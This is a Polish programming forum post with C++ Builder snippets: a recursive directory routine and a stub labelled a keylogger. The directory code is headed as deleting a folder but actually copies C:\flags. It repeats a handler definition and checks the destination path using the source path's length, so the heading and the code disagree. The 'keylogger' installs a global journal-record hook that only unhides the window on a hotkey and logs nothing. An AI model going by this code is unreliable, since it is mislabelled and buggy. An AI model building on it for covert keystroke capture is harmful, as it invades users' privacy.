
różne 2
Usuwanie katalogu z całą zawartością.
//---------------------------------------------------------------------------
void __fastcall CopyDir(String Dir)
{
Dir = (Dir.SubString(Dir.Length(), 1) != "\\") ? Dir + "\\" : Dir;
TSearchRec sr;
if(FindFirst(Dir + "*.*", faAnyFile, sr) == 0)
{
do
{
if(((sr.Attr & faDirectory) > 0) & (sr.Name != ".") & (sr.Name != ".."))
{
CopyDir(Dir + sr.Name + "\\");
}
CopyFile((Dir + sr.Name).c_str(), ("c:\\" + sr.Name).c_str(), true);
}
while(FindNext(sr) == 0);
FindClose(sr);
}
}
void __fastcall TForm1::Button1Click(TObject *Sender)
{
Screen->Cursor = crHourGlass; // zmiana kursora na zajęty
CopyDir("C:\\flags");
Screen->Cursor = crDefault; // przywrócenie domyślnego kursora
}
void __fastcall CopyDir(String Dir, String dokad)
{
Dir = (Dir.SubString(Dir.Length(), 1) != "\\") ? Dir + "\\" : Dir;
dokad = (dokad.SubString(Dir.Length(), 1) != "\\") ? dokad + "\\" : dokad;
TSearchRec sr;
if(FindFirst(Dir + "*.*", faAnyFile, sr) == 0)
{
do
{
if(((sr.Attr & faDirectory) > 0) & (sr.Name != ".") & (sr.Name != ".."))
{
CopyDir(Dir + sr.Name + "\\", dokad);
}
CopyFile((Dir + sr.Name).c_str(), (dokad + sr.Name).c_str(), true);
}
while(FindNext(sr) == 0);
FindClose(sr);
}
}
void __fastcall TForm1::Button1Click(TObject *Sender)
{
Screen->Cursor = crHourGlass; // zmiana kursora na zajęty
CopyDir("C:\\flags", "C:\\JM");
Screen->Cursor = crDefault; // przywrócenie domyślnego kursora
}
//---------------------------------------------------------------------------




keyloger.



//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "Unitaa1.h"
#include <stdio.h>
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
HHOOK g_hLogHook = NULL;
HWND g_hLastFocus = NULL;
const int KeyPressMask = 0x80000000;
//---------------------------------------------------------------------------
HOOKPROC ConnectHook(int iCode, WPARAM wParam, LPARAM lParam)
{
if(iCode < 0) return (HOOKPROC)CallNextHookEx(g_hLogHook, iCode, wParam, lParam);
EVENTMSG *pEvt = (EVENTMSG *)lParam;
if(pEvt->message == WM_KEYDOWN)
{
int vKey = LOBYTE(pEvt->paramL);
char ch;
char str[10];
int iShift = GetKeyState(VK_SHIFT);
int iAlt = GetKeyState(VK_MENU);
int iControl = GetKeyState(VK_CONTROL);
bool bShift = (iShift & KeyPressMask) == KeyPressMask;
bool bAlt = (iAlt & KeyPressMask) == KeyPressMask;;
bool bControl = (iControl & KeyPressMask) == KeyPressMask;
if(bShift && bAlt && bControl && vKey == 81)
{
Application->Restore();
ShowWindow(Application->Handle, SW_SHOW);
}
}
return (HOOKPROC)CallNextHookEx (g_hLogHook, iCode, wParam, lParam);
}
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
if(g_hLogHook == NULL)
{
g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD, (HOOKPROC)ConnectHook, HInstance,0);
ShowMessage("Hak podłączony");
}
else
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook = NULL;
ShowMessage("Hak nie został podłączony");
}
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormCloseQuery(TObject *Sender, bool &CanClose)
{
if(g_hLogHook != NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook = NULL;
}
}
//---------------------------------------------------------------------------

Powrót do Ogólne problemy z programowaniem
Użytkownicy przeglądający ten dział: Brak zalogowanych użytkowników i 12 gości